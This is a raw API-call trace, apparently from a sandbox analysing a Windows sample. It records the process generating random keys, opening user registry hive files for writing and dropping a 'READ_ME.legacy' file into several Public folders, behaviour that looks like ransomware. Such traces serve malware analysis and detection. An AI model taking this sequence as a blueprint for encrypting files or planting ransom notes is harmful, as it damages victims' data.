HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0110.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563108 | out: hHeap=0x520000) returned 1 [0110.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0110.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x553500 [0110.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4e78 [0110.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3568 [0110.409] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4e78 | out: pbBuffer=0x5c4e78) returned 1 [0110.409] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3568 | out: pbBuffer=0x5c3568) returned 1 [0110.409] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x80) returned 1 [0110.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563108 [0110.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x563720 [0110.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563108 | out: hHeap=0x520000) returned 1 [0110.410] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0110.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0110.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0110.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x555868 [0110.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4848 [0110.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3598 [0110.410] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4848 | out: pbBuffer=0x5c4848) returned 1 [0110.410] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3598 | out: pbBuffer=0x5c3598) returned 1 [0110.410] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x80) returned 1 [0110.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x56c808 [0110.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0110.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0110.411] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0110.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0110.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0110.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0110.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c37c8 [0110.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3498 [0110.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c37c8 | out: pbBuffer=0x5c37c8) returned 1 [0110.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3498 | out: pbBuffer=0x5c3498) returned 1 [0110.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG2", dwFileAttributes=0x80) returned 1 [0110.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0110.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0110.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0110.412] CreateFileW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0110.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0110.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0110.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0110.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4950 [0110.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35b8 [0110.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4950 | out: pbBuffer=0x5c4950) returned 1 [0110.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35b8 | out: pbBuffer=0x5c35b8) returned 1 [0110.412] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG1", dwFileAttributes=0x80) returned 1 [0110.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0110.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0110.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0110.412] CreateFileW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0110.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0110.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0110.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4f80 [0110.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3528 [0110.413] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4f80 | out: pbBuffer=0x5c4f80) returned 1 [0110.413] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3528 | out: pbBuffer=0x5c3528) returned 1 [0110.413] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT", dwFileAttributes=0x80) returned 1 [0110.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0110.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0110.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0110.413] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT" (normalized: "c:\\users\\fd1hvy\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0110.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0110.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539610 | out: hHeap=0x520000) returned 1 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539ac0 | out: hHeap=0x520000) returned 1 [0110.414] FindFirstFileW (in: lpFileName="\\Users\\Public\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6837cc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5bd8 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0110.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.414] GetLastError () returned 0x20 [0110.414] SetLastError (dwErrCode=0x20) [0110.414] GetLastError () returned 0x20 [0110.414] SetLastError (dwErrCode=0x20) [0110.414] GetLastError () returned 0x20 [0110.414] SetLastError (dwErrCode=0x20) [0110.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0110.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0110.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0110.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5898 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5898 | out: hHeap=0x520000) returned 1 [0110.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0110.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0110.415] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6837cc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.415] GetLastError () returned 0x20 [0110.415] SetLastError (dwErrCode=0x20) [0110.415] GetLastError () returned 0x20 [0110.415] SetLastError (dwErrCode=0x20) [0110.415] GetLastError () returned 0x20 [0110.415] SetLastError (dwErrCode=0x20) [0110.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0110.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0110.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0110.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5ad8 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5ad8 | out: hHeap=0x520000) returned 1 [0110.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0110.415] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0110.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0110.416] GetLastError () returned 0x20 [0110.416] SetLastError (dwErrCode=0x20) [0110.416] GetLastError () returned 0x20 [0110.416] SetLastError (dwErrCode=0x20) [0110.416] GetLastError () returned 0x20 [0110.416] SetLastError (dwErrCode=0x20) [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0110.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0110.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0110.416] GetLastError () returned 0x20 [0110.416] SetLastError (dwErrCode=0x20) [0110.416] GetLastError () returned 0x20 [0110.416] SetLastError (dwErrCode=0x20) [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0110.416] GetLastError () returned 0x20 [0110.416] SetLastError (dwErrCode=0x20) [0110.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0110.417] CreateFileW (lpFileName="\\Users\\Public\\AccountPictures\\READ_ME.legacy" (normalized: "c:\\users\\public\\accountpictures\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0110.417] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.418] CloseHandle (hObject=0x594) returned 1 [0110.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0110.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0110.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0110.418] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Desktop", cAlternateFileName="")) returned 1 [0110.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0110.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0110.419] GetLastError () returned 0x0 [0110.419] SetLastError (dwErrCode=0x0) [0110.419] GetLastError () returned 0x0 [0110.419] SetLastError (dwErrCode=0x0) [0110.419] GetLastError () returned 0x0 [0110.419] SetLastError (dwErrCode=0x0) [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0110.419] GetLastError () returned 0x0 [0110.419] SetLastError (dwErrCode=0x0) [0110.419] GetLastError () returned 0x0 [0110.419] SetLastError (dwErrCode=0x0) [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0110.419] GetLastError () returned 0x0 [0110.419] SetLastError (dwErrCode=0x0) [0110.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0110.420] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\READ_ME.legacy" (normalized: "c:\\users\\public\\desktop\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0110.421] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.422] CloseHandle (hObject=0x594) returned 1 [0110.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0110.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0110.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0110.422] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0110.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0110.422] GetLastError () returned 0xb7 [0110.422] SetLastError (dwErrCode=0xb7) [0110.422] GetLastError () returned 0xb7 [0110.422] SetLastError (dwErrCode=0xb7) [0110.422] GetLastError () returned 0xb7 [0110.422] SetLastError (dwErrCode=0xb7) [0110.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0110.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0110.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0110.422] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0110.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0110.423] GetLastError () returned 0xb7 [0110.423] SetLastError (dwErrCode=0xb7) [0110.423] GetLastError () returned 0xb7 [0110.423] SetLastError (dwErrCode=0xb7) [0110.423] GetLastError () returned 0xb7 [0110.423] SetLastError (dwErrCode=0xb7) [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0110.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0110.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0110.423] GetLastError () returned 0xb7 [0110.423] SetLastError (dwErrCode=0xb7) [0110.423] GetLastError () returned 0xb7 [0110.423] SetLastError (dwErrCode=0xb7) [0110.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0110.424] GetLastError () returned 0xb7 [0110.424] SetLastError (dwErrCode=0xb7) [0110.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0110.424] CreateFileW (lpFileName="\\Users\\Public\\Documents\\READ_ME.legacy" (normalized: "c:\\users\\public\\documents\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0110.425] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.426] CloseHandle (hObject=0x594) returned 1 [0110.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0110.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0110.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0110.426] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0110.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0110.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0110.426] GetLastError () returned 0xb7 [0110.426] SetLastError (dwErrCode=0xb7) [0110.426] GetLastError () returned 0xb7 [0110.426] SetLastError (dwErrCode=0xb7) [0110.426] GetLastError () returned 0xb7 [0110.426] SetLastError (dwErrCode=0xb7) [0110.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0110.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0110.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 